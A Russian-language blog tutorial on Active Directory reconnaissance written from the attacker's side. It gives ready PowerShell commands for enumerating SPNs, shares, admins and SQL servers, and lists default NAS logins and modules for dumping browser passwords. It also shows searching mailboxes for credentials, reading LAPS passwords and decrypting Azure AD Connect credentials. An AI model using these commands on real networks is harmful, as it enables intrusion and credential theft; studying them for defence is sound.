Windows

Как сделать атаку на windows сеть Active Directory

Представь, что кто-то проводит атаку на корпоративную сеть Windows. Вначале у злоумышленника либо мало привилегий в домене, либо их вовсе нет. Поэтому искать учетные записи и службы он будет без повышенных привилегий, то есть не от имени администратора домена или локального администратора. О том, как производится разведка в среде Active Directory, мы и поговорим.

Рассмотренные в данной статье примеры применимы для следующих версий Windows: 7, 8, 10, Server 2008, Server 2012 и Server 2016; другие не проверяли. Также для работы примеров в системе должен быть PowerShell с указанными модулями.

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный информацией из этой статьи.

Сканирование SPN

Когда нужно повысить привилегии, злоумышленники обычно используют учетные записи служб, поскольку у таких учеток больше прав, но нет строгой политики смены пароля через заданный промежуток времени. То есть если скомпрометировать их, то потом можно долго оставаться незамеченным.

Service Principal Names (SPN) — идентификаторы служб, запущенных на доменной машине. Не зная их, ты не сможешь искать службы, которые используют проверку подлинности Kerberos.

SPN-строка имеет такой формат:

SPN="serviceclass"/"hostname[:port]"[/"servicename"]
  • Serviceclass — строка, которая идентифицирует класс службы, например ldap — идентификатор для службы каталогов;
  • Hostname — строка, где указывается полное доменное имя системы, а иногда и порт;
  • Servicename — строка, которая представляет собой уникальное имя (DN), GUID объекта или полностью определенное доменное имя (FQDN) службы.

SPN уникальный в пределах леса. Когда компьютер добавляют в домен, у его учетной записи автоматически указывается host SPN, что позволяет службам на этой машине запускаться из-под локальных учетных записей, таких как Local System и Network Service.

Сканирование SPN — это первое, что обычно делает злоумышленник или пентестер при поиске служб в среде Active Directory. Основное преимущество этого метода по сравнению со сканированием сетевых портов в том, что не требуется взаимодействие с каждым узлом сети для проверки служебных портов. Сканирование SPN позволяет обнаружить службы с помощью запросов LDAP к контроллеру домена. Так как запросы SPN — нормальное поведение проверки подлинности Kerberos, этот способ сканирования обнаружить очень сложно (даже почти нереально), в отличие от сканирования портов.

Выполнить сканирование SPN можно с помощью скрипта на PowerShell.

Результат работы скрипта для серверов Microsoft SQL

Наиболее интересные службы:

  • SQL (MSSQLSvc/adsmsSQLAP01.ads.org:1433)
  • Exchange (exchangeMDB/adsmsEXCAS01.ads.org)
  • RDP (TERMSERV/adsmsEXCAS01.adsecurity.org)
  • WSMan / WinRM / PS Remoting (WSMAN/adsmsEXCAS01.ads.org)
  • Hyper-V (Microsoft Virtual Console Service/adsmsHV01.ady.org)
  • VMware VCenter (STS/adsmsVC01.ads.org)

Хочу поделиться с тобой и еще одним интересным скриптом, который покажет тебе все SPN для всех пользователей и всех компьютеров.

$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.filter = "(servicePrincipalName=*)"
$results = $search.Findall()
foreach($result in $results){
    $userEntry = $result.GetDirectoryEntry()
    Write-host "Object Name = " $userEntry.name -backgroundcolor "yellow" -foregroundcolor "black"
    Write-host "DN      =      "  $userEntry.distinguishedName
    Write-host "Object Cat. = "  $userEntry.objectCategory
    Write-host "servicePrincipalNames"
    $i=1
    foreach($SPN in $userEntry.servicePrincipalName)
    {
        Write-host "SPN(" $i ")   =      " $SPN       $i+=1
    }
    Write-host "" 
}
Результат работы cкрипта — список SPN

Сбор данных

Общие ресурсы

В среде Active Directory часто используются сетевые папки и файловые серверы. Эти команды отобразят список общих ресурсов на локальном хосте, список сетевых компьютеров и список шар на удаленном компьютере:

> net share
> net view
> net view COMPUTER_NAME /all

Но что делать, если политика безопасности запрещает использовать сетевые команды? В этом случае нас выручит wmic. Список общих ресурсов на локальном хосте и список общих ресурсов на удаленном компьютере можно посмотреть с помощью команд

> wmic share get /format:list
> wmic /node: COMPUTER_NAME share get

Полезный инструмент для поиска данных — PowerView. Он автоматически обнаруживает сетевые ресурсы и файловые серверы с помощью команд Find-DomainShare и Get-DomainFileServer.

Кстати, PowerView встроен в фреймворк PowerShell Empire и представлен двумя модулями:

  • situational_awareness/network/powerview/share_finder;
  • situational_awareness/network/powerview/get_fileserver.

Базы данных

В среде Active Directory, как правило, несколько серверов баз данных. PowerUpSQL — отличный инструмент для обнаружения и перечисления серверов Microsoft SQL и атак на них.

Найти все локальные экземпляры SQL можно командой

> Get-SQLInstanceLocal -Verbose

Чтобы найти все экземпляры SQL в сети или домене, используй команды

> Get-SQLInstanceDomain -Verbose
> Get-SQLInstanceBroadcast -Verbose
> Get-SQLInstanceScanUDP -Verbose

После поиска собираем информацию об экземплярах SQL. Локальных:

> Get-SQLInstanceLocal | Get-SQLServerInfo

И удаленных:

> Get-SQLServerInfo -Instance "COMPUTER_NAME"

Когда мы нашли все экземпляры SQL и собрали информацию о них, мы можем:

  • получить список экземпляров SQL, в которые разрешен вход текущему пользователю домена:

    > Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose -Threads 10
    
  • попытаться получить права администратора для экземпляра SQL:

    > Invoke-SQLEscalatePriv -Verbose -Instance "COMPUTER_NAME"
    
  • перечислить экземпляры SQL по всему домену с использованием паролей по умолчанию:

    > Get-SQLInstanceDomain -Verbose | Get-SQLServerLoginDefaultPw -Verbose
    
  • сдампить информацию о SQL Server и базе данных в файлы CSV или XML:

    > Invoke-SQLDumpInfo -Verbose -Instance "COMPUTER_NAME"
    
  • запустить функции аудита для сервера SQL:

    > Invoke-SQLAudit -Verbose -Instance "COMPUTER_NAME"
    

Network Attached Storage

Network Attached Storage (NAS) — сервер для хранения данных на файловом уровне. Поскольку там сложены файлы, нередко это и есть цель злоумышленника. NAS не нужна полноценная операционка, поэтому на них часто ставят FreeNAS или NAS4Free на базе FreeBSD. Большинство NAS можно администрировать через веб или SSH. В таком случает следует перебрать дефолтные связки логин — пароль. Вот пятерка самых распространенных:

  • admin:admin;
  • admin:password;
  • root:nasadmin;
  • nasadmin:nasadmin;
  • admin:»no pass».

Пользовательские данные при наличии привилегий

Учетные данные пользователей

Для охоты на пользователей отлично подходит BloodHound — инструмент для активного поиска каталогов.

Определить, где конкретный пользователь или группа пользователей вошли в систему, можно с помощью команд PowerView и модуля PowerShell Empire.

> Find-DomainUserLocation -UserIdentity USER_NAME
> Find-DomainUserLocation -UserGroupIdentity GROUP_NAME

situational_awareness/network/powerview/user_hunter

Локальные данные

После компрометации учетных данных пользователей появляется много возможностей: запись на рабочий стол, получение картинки с веб-камеры, сброс паролей, установка кейлоггеров. Большая часть этих возможностей автоматизирована в инструментах Metasploit Framework, PowerShell Empire и Cobalt Strike.

Многие — может быть, даже ты — позволяют браузерам сохранять свои пароли. И часто мы используем одни и те же пароли для разных сервисов, так что найденные в браузере пароли нам еще, скорее всего, пригодятся.

Вот модули Metasploit, которые помогают в этом:

  • post/windows/gather/enum_chrome
  • post/multi/gather/firefox_creds
  • post/firefox/gather/cookies
  • post/firefox/gather/passwords
  • post/windows/gather/forensics/browser_history

Модули PowerShell Empire:

  • collection/ChromeDump
  • collection/FoxDump

Вытащить пароли можно и вручную. Для этого сохрани профиль браузера, импортируй его на виртуальную машину, открой браузер и посмотри пароли.

Файлы профилей Firefox лежат в C:\Users\TARGET\AppData\Roaming\Mozilla\Firefox\Profiles, а профилей Google Chrome — в C:\Users\TARGET\AppData\Local\Google\Chrome\User Data\Default. Чтобы узнать данные удаленного доступа, можно использовать модуль Metasploit post/windows/gather/enum_putty_saved_sessions или модули Empire collection/netripper и credentials/sessiongopher.

Пользовательские файлы

Часто цель атакующего — это пользовательские файлы. Для их поиска есть очень удобный скрипт на PowerShell — WMImplant. Он позволяет использовать фильтры. Например, чтобы найти файл с именем wmimplant, выполним команды

> $filefilter = "Filename = 'wmimplant' AND Drive='C:'"
> Get-WMIObject -Class CIM_Datafile -filter $filefilter
Поиск файла wmimplant на диске C с использованием WMImplant

Также можно настроить фильтр по расширению файла.

> $filefilter = "Extensios = 'ps1' AND Drive='C:'"
> Get-WMIObject -Class CIM_Datafile -filter $filefilter
Поиск файлов *.ps1 на диске C с использованием WMImplant

Для поиска файлов на удаленной машине указывай для Get-WMIObject параметр -ComputerName.

Microsoft Exchange и Outlook при наличии привилегий

Если у злоумышленника есть учетные данные пользователей, то почтовые ящики, считай, тоже скомпрометированы. Если ты выступаешь на атакующей стороне, открывай панель Outlook и делай запросы, по которым могут найтись полезные данные. Например, логин, пароль, password, pass, credentials, vpn, ssh, root, confidential.

Этот процесс можно автоматизировать при помощи инструмента MailSniper. Для автоматического обнаружения целевого сервера Exchange и поиска в почтовом ящике user@example.com используй такую команду:

> Invoke-SelfSearch -OutputCsv local-results.csv -Mailbox user@example.com

Если ящик известен, то такую:

> Invoke-SelfSearch -Remote -ExchHostname outlook.office365.com -OutputCsv local-results.csv -Mailbox user@example.com

Если у тебя уже есть права администратора Exchange, можно искать по всем почтовым ящикам:

> Invoke-GlobalMailSearch -ImpersonationAccount TARGET_USER -ExchHostname Exch01 -OutputCsv global-results.csv

Учетные данные

Учетные записи администраторов домена

Существует два эффективных метода искать учетные записи с повышенными правами в Active Directory. Первый — стандартный метод перечисления групп, который идентифицирует всех членов обычных групп администраторов Active Directory. В большинстве организаций есть пользовательские группы администраторов — схемы именования могут быть разными, но если искать по слову admin, то, скорее всего, не промахнешься.

> get-adgroup -filter {GroupCategory -eq ‘Security’ -AND Name -like «admin«}
DistinguishedName : CN=Server Admins,OU=AD Management,DC=lab,DC=adsecurity,DC=org
GroupCategory : Security
GroupScope : Global
Name : Server Admins
ObjectClass : group
ObjectGUID : 3877c311-9321-41c0-a6b5-c0d88684b335
SamAccountName : ServerAdmins
SID : S-1-5-21-1581655573-3923512380-696647894-2628

Второй метод — искать учетки, у которых атрибут AdminCount равен единице.

> get-aduser -filter {AdminCount -eq 1} -Properties Name,AdminCount,ServicePrincipalName,MemberOf
AdminCount : 1
DistinguishedName : CN=ADSAdministrator,CN=Users,DC=lab,DC=ads,DC=org
Enabled : True
MemberOf : {CN=Administrators,CN=Builtin,DC=lab,DC=ads,DC=org, CN=Schema Admins,CN=Users,DC=lab,DC=ads,DC=org, CN=Group
Policy Creator Owners,CN=Users,DC=lab,DC=ads,DC=org, CN=Enterprise Admins,CN=Users,DC=lab,DC=ads,DC=org…}
Name : ADSAdministrator
ObjectClass : user
ObjectGUID : 72ac7731-0a76-4e5a-8e5d-b4ded9a304b5
SamAccountName : ADSAdministrator
SID : S-1-5-21-1581655573-3923512380-696647894-500
Surname :
UserPrincipalName :

Но учти, что в числе прочего получишь учетки, у которых прав администратора нет. Дело в том, что это значение не сбрасывается автоматически после удаления учетной записи из групп администраторов.

Скрытая учетная запись администратора

Скрытая учетная запись администратора — это учетная запись домена, которая предоставляет администратору доступ к контроллеру домена, серверу обмена или серверу баз данных. Но эта запись не принадлежит к привилегированным группам Active Directory, то есть администраторам домена. Разрешения для таких учеток назначаются напрямую с помощью списков контроля доступа (ACL) для объектов Active Directory.

Часто это учетные записи служб. Они обычно имеют доступ к нескольким системам в среде. При этом такие учетки не получают столько же внимания и таких же строгих политик безопасности, как администраторы домена. В результате они становятся главной целью злоумышленников при «движении вбок» или повышении привилегий.

Для поиска скрытых учетных записей администратора используй тулзу BloodHound. Полную инструкцию по установке этого инструмента можешь найти в вики проекта.

После настройки базы данных и входа в веб-интерфейс BloodHound можно начинать собирать данные Active Directory с помощью BloodHound PowerShell. Вот как запустить команды для поиска доменов в лесу и сохранить CSV в указанную папку:

> . .\SharpHound.ps1
> Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public
Результат работы BloodHound PowerShell

После загрузки файла у тебя есть большой выбор дальнейших действий. Можно просмотреть всех администраторов домена, глянуть список пользователей с правами локальных администраторов, определить машины с правами администраторов и многое другое.

Запросы BloodHound

Таким образом, при просмотре «карты доверительных отношений» и «10 пользователей с большинством прав локальных администраторов» мы сможем определить учетные записи, которые имеют доступ к большинству систем, а также узнать, существуют ли двусторонние отношения доверия между внешними доменами, которые могли бы расширить круг доступных ресурсов.

Другой способ найти скрытые учетные записи администратора — поиск контроллера домена.

  1. Ищем группу Domain Controllers.
  2. Выбираем «Прямые участники» в разделе «Участники группы»: там отображены все узлы системы контроллера домена в этой группе.
  3. Ткнув на один из узлов системы в разделе «Местные администраторы», выбираем «Производные локальные администраторы».
BloodHound — локальные администраторы

Как видишь, есть две учетные записи, которые имеют локальный доступ администратора к контроллеру домена. Они не входят в группу «Администраторы домена». Поздравляю, мы только что обнаружили две скрытые учетные записи администратора!

Группы Active Directory

Группы Active Directory бывают двух типов.

  1. Группы распространения — используются для списков рассылки электронной почты и не могут служить для контроля доступа к ресурсам, поэтому они нам неинтересны.
  2. Группы безопасности — могут применяться для контроля доступа и добавлены в списки контроля доступа.

Независимо от того, к какому типу относится группа, она задается битом в свойстве groupType.

Группы безопасности могут иметь одну из трех областей действия. Область действия группы влияет на то, какие типы групповых объектов могут быть добавлены в нее и в какие другие группы группа может быть вложена.

  1. Глобальные группы могут быть вложены в локальные группы домена, универсальные группы и другие глобальные группы в одном домене.
  2. Универсальные группы могут быть вложены в локальные группы домена и другие универсальные группы в любом домене.
  3. Локальная группа домена не может быть вложена в глобальную или универсальную группу.

Найти все группы какого-то типа можно с помощью PowerView.

  • Get-DomainGroup -GroupScope DomainLocal — найти локальные группы;
  • Get-DomainGroup -GroupScope NotDomainLocal — найти нелокальные группы;
  • Get-DomainGroup -GroupScope Global — найти глобальные группы;
  • Get-DomainGroup -GroupScope NotGlobal — найти неглобальные группы;
  • Get-DomainGroup -GroupScope Universal— найти универсальные группы;
  • Get-DomainGroup -GroupScope NotUniversal — найти неуниверсальные группы;
  • Get-DomainGroup -GroupProperty Security — найти группы безопасности;
  • Get-DomainGroup -GroupProperty Distribution — найти группы распространения;
  • Get-DomainGroup -GroupProperty CreatedBySystem — найти группы, созданные системой.
Пример поиска всех универсальных групп в текущем домене

Информация из локальных групп Active Directory

Найти локальных администраторов можно с помощью команды

> Invoke-EnumerateLocalAdmin | ft -autosize
Список локальных администраторов

Получить список всех пользователей поможет модуль PowerShell activedirectory, достаточно выполнить команду Get_ADUser -filter *. Получить список групп, в которых числится определенный пользователь, можно командой Get-NetGroup -UserName [user].

Также есть возможность узнать список компьютеров, к которым имеет доступ конкретный пользователь или группа. Для этого используй команды

> Find-GPOLocation -UserName [user]
> Find-GPOLocation -GroupName [group]

Но можно вернуть и список объектов, имеющих доступ к определенному компьютеру. Для этого есть команда

> Find-GPOComputerAdmin -ComputerName [computer] -Recurse

Еще очень важная информация, которую мы можем получить: какие объекты групповой политики применяются к конкретной машине. Делается это командой

> Get-DomainGPO -ComputerIdentity [PC_id] -Properties displayname

Важно, что все эти функции позволяют запрашивать информацию без повышенных привилегий.

Local Administrator Password Solution

Local Administrator Password Solution (LAPS) — система, предназначенная для управления паролями локальных администраторов на компьютерах домена. Она позволяет администратору домена периодически менять пароль учетной записи локальных администраторов, делегировать права на чтение и сброс пароля для пользователей или групп Active Directory, а также обеспечивает хранение паролей в расширенном атрибуте объекта компьютера в Active Directory. Система состоит из трех компонентов: агента, модуля PowerShell для настройки системы, Active Directory для хранения паролей.

Есть два способа обнаружить LAPS.

  1. На всех хостах, где установлен LAPS, в папке C:\Program Files\LAPS\CSE\ будет файл AdmPwd.dll.
  2. Конфигурации LAPS определяются в объектах групповой политики. Командой Get-DomainGPO -Identity "*LAPS*" можно поискать любой объект групповой политики, у которого есть слово LAPS в отображаемом имени.

displayname : LAPS
...
gpcfilesyspath : \\test.local\SysVol\test.local\Policies\{C3801BA8-56D9-4F54-B2BD-FE3BF1A71BAA}
distinguishedname : CN={C3801BA8-56D9-4F54-B2BD-FE3BF1A71BAA},CN=Policies,CN=System,DC=testlab,DC=local
...

Таким образом мы сможем определить, есть ли LAPS на нашей машине. Когда мы выясним, что LAPS на машине точно есть, смотрим конфиг. Конкретная конфигурация для политики LAPS находится в Registry.pol в разделе gpcfilesyspath. Для декодирования используй инструмент GPRegistryPolicy:

Parse-PolFile "\\test.local\SysVol\test.local\Policies\{C8701BA8-56D9-4123-B6B2-FE3FA5031BAA}\Machine\Registry.pol"

Пример вывода команды:

KeyName : Software\Policies\Microsoft Services\AdmPwd
ValueName : PasswordComplexity
ValueType : REG_DWORD
ValueLength : 4
ValueData : 4
 
KeyName : Software\Policies\Microsoft Services\AdmPwd
ValueName : PasswordLength
ValueType : REG_DWORD
ValueLength : 4
ValueData : 8
 
KeyName : Software\Policies\Microsoft Services\AdmPwd
ValueName : PasswordAgeDays
ValueType : REG_DWORD
ValueLength : 4
ValueData : 30
 
KeyName : Software\Policies\Microsoft Services\AdmPwd
ValueName : AdminAccountName
ValueType : REG_SZ
ValueLength : 26
ValueData : localfish
 
KeyName : Software\Policies\Microsoft Services\AdmPwd
ValueName : AdmPwdEnabled
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1

Сложность пароля равна четырем (верхний и нижний регистр, а также цифры и специальные символы), длина пароля — восемь символов, срок действия пароля — 30 дней, и политика распространяется на локальную учетную запись localfish.

Теперь найдем все компьютеры, к которым применен этот объект групповой политики. Для этого нам нужно знать GUID этого объекта. Сначала определим подразделения, а потом в каждом подразделении найдем рабочие станции.

> Get-DomainOU -GPLink «C3801BA8-56D9-4F54-B2BD-FE3BF1A71BAA» -Properties distinguishedname
distinguishedname
-----------------
OU=Workstations,DC=testlab,DC=local
OU=Servers,DC=testlab,DC=local
 
> Get-DomainComputer -SearchBase «LDAP://OU=Workstations,DC=testlab,DC=local» -Properties distinguishedname
distinguishedname
-----------------
CN=WKSTN02,OU=Workstations,DC=testlab,DC=local
CN=WKSTN01,OU=Workstations,DC=testlab,DC=local
CN=WKSTN03,OU=Workstations,DC=testlab,DC=local
CN=WKSTN04,OU=Workstations,DC=testlab,DC=local
 
> Get-DomainComputer -SearchBase «LDAP://OU=Servers,DC=testlab,DC=local» -Properties distinguishedname
distinguishedname
-----------------
CN=FS01,OU=Servers,DC=testlab,DC=local

Мы нашли все компьютеры, на которые распространяется эта конфигурация LAPS. Компонент LAPS PowerShell дает много возможностей. Например, вот такой командой мы можем определить, что LAB\Workstation Admins и LAB\Server Admins имеют расширенные права в подразделениях Workstations и Servers:

> Find-AdmPwdExtendedRights -Identity «Workstations» | fl
ObjectDN : OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, LAB\Domain Admins, LAB\Workstation Admins}
 
> Find-AdmPwdExtendedRights -Identity «Servers» | fl
ObjectDN : OU=Servers,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, LAB\Domain Admins, LAB\Server Admins}

Теперь легко получить пароль.

> Get-AdmPwdPassword -ComputerName wkstn02 | fl
ComputerName : WKSTN02
DistinguishedName : CN=WKSTN02,OU=Workstations,DC=testlab,DC=local
Password : !qP)iyT
ExpirationTimestamp :

AppLocker

AppLocker — технология, которая позволяет системному администратору блокировать выполнение определенных исполняемых файлов на компьютерах в сети. То есть можно создать правила, по которым будет выдаваться разрешение на выполнение или отказ. Например, можно проверять уникальные идентификаторы файлов и разрешать запуск только определенным пользователям или группам.

Обычно конфигурация AppLocker применяется через объект групповой политики. В таком случае легко извлечь конфигурацию из SYSVOL, если у нас есть доступ на чтение к общему ресурсу. Как просмотреть объекты групповой политики и к каким машинам они применяются, смотри в разделе LAPS. Отличается только путь:

Software\Policies\Microsoft\Windows\SrpV2\%ext%\xxxxxxxx-xxx-xxx-xxx-xxxxxxxxxxxx
Пример разрешающего правила AppLocker

Есть три способа применения запрещающего правила: Publisher, Path и File Hash.

Пример запрещающего правила AppLocker

На месте %ext% используй ключи: Appx, Exe, Dll, Msi, Script.

Azure Active Directory

Azure Active Directory (Azure AD) — облачная служба управления удостоверениями и доступом. Она нужна для создания учетных записей пользователей и управления ими и применяется в облачных сервисах Microsoft, таких как Azure, Office 365, SharePoint. Если в AD для аутентификации пользователей служит Kerberos, то здесь в той же роли используется OAuth 2.0.

Синхронизация AD и Azure AD происходит по трем сценариям.

  1. Сценарий синхронизации каталога. Он позволяет синхронизировать с облаком новые учетные записи пользователей и групп, при этом логин у пользователя синхронизируется с AD, а пароль придется сменить, так как он не синхронизируется.
  2. Сценарий синхронизации паролей дает возможность пользователям логиниться в облачный сервис с паролем от локальной учетной записи AD. При этом синхронизируется логин и хеш пароля.
  3. Сценарий единого входа обеспечивает проверку подлинности пользователей в локальном каталоге AD и позволяет реализовать сценарий единого входа с использованием корпоративных учетных данных — за счет синхронизации токенов доступа.

Про атаку на сценарий единого входа много рассказать не могу, и для него нужны права администратора. Так как пароль в данном случае передается между Azure AD Connect и Azure ServiceBus в открытом виде, то есть возможность его перехватить. FileAzureadHookDLL позволяет внедрить DLL и получить пароль пользователя во время соединения. В качестве параметра данное приложение принимает PID процесса AzureADConnectAuthenticationAgentService[*].

Сценарий синхронизации паролей

Для нас особенно интересен сценарий синхронизации паролей (PHS). Для синхронизации данных в AD есть приложение Azure AD Connect, которое извлекает данные из AD и передает их в AAD. За синхронизацию отвечает служба DCSync.

Схема синхронизации AzureAD Connect

При создании соединения на хосте заводится новая база данных, при этом используется LocalDB для SQL Server. Мы можем просмотреть информацию о работающем экземпляре с помощью инструмента SqlLocalDb.exe.

Пример работы SqlLocalDb.exe

База данных поддерживает Azure AD Sync — в ней хранятся метаданные и конфигурации для службы. Зашифрованный пароль находится в таблице ADSync.dbo.mms_management_agent в поле encrypted_configuration, и для его расшифровки используется библиотека C:\Program Files\Microsoft Azure AD Sync\Binn\mcrypt.dll. Расшифровывать можно при помощи AzureadDecryptorMsol.ps1.

Пример работы скрипта AzureadDecryptorMsol.ps1

Как видишь из конфигурации безопасности, если получится скомпрометировать сервер с Azure AD Connect и получить доступ либо к ADSyncAdmins, либо к локальным группам администраторов, то открывается возможность заполучить учетку, которая может выполнять DCSync.

Конфигурации безопасности

Сценарий синхронизации каталога

В этом сценарии к одной и той же учетной записи в AD и AAD применяются разные пароли, что делает неактуальной атаку на сессию синхронизации. Но так как остальные учетные данные в случае синхронизации будут совпадать, мы можем провести разведку для AAD, и ее результаты в большинстве будут актуальны для AD.

Для удобства будем использовать Azure CLI, это инструмент для Linux, который используют в сетях Windows. Начинаем с команды az login — она сгенерирует локальные токены OAuth, откроет окно браузера на странице авторизации, и ты сможешь войти под уже имеющимся пользователем. Следующая команда позволяет получить список пользователей, параметр output определяет формат представления данных, а query — какие данные выводить.

az ad user list --output=json --query='[].{UPN:userPrincipalName,Name:displayName,Email:mail,UserId:mailNickname,Enabled:accountEnabled}'

Вот некоторые другие возможности.

Список групп:

az ad group list --output=json --query='[].{Group:displayName,Description:description}'

Список пользователей в определенной группе:

az ad group member list --output=json --query='[].{UPN:userPrincipalName, Name:displayName, UserId:mailNickname, Enabled:accountEnabled}' --group='<group name>'

Список приложений:

az ad app list --output=json --query='[].{Name:displayName,URL:homepage}'

Все службы:

az ad sp list --output=json --query='[].{Name:displayName,Enabled:accountEnabled,URL:homepage}'

Информация о конкретной службе:

az ad sp list --output=json --display-name='<display name>'

Заключение

Теперь ты знаешь все лазейки и методы, с помощью которых можно получить информацию для проведения атак на пользователей, повышения привилегий, бокового продвижения и захвата сети в целом. Используй эти знания с умом!

Click to rate this post!
[Total: 3 Average: 5]
cryptoworld

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

Recent Posts

Лучший адаптер беспроводной сети для взлома Wi-Fi

Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…

11 месяцев ago

Как пользоваться инструментом FFmpeg

Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…

11 месяцев ago

Как создать собственный VPN-сервис

Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…

12 месяцев ago

ChatGPT против HIX Chat: какой чат-бот с искусственным интеллектом лучше?

С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…

12 месяцев ago

Разведка по Wi-Fi и GPS с помощью Sparrow-wifi

Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…

12 месяцев ago

Как обнаружить угрозы в памяти

Elastic Security стремится превзойти противников в инновациях и обеспечить защиту от новейших технологий злоумышленников. В…

12 месяцев ago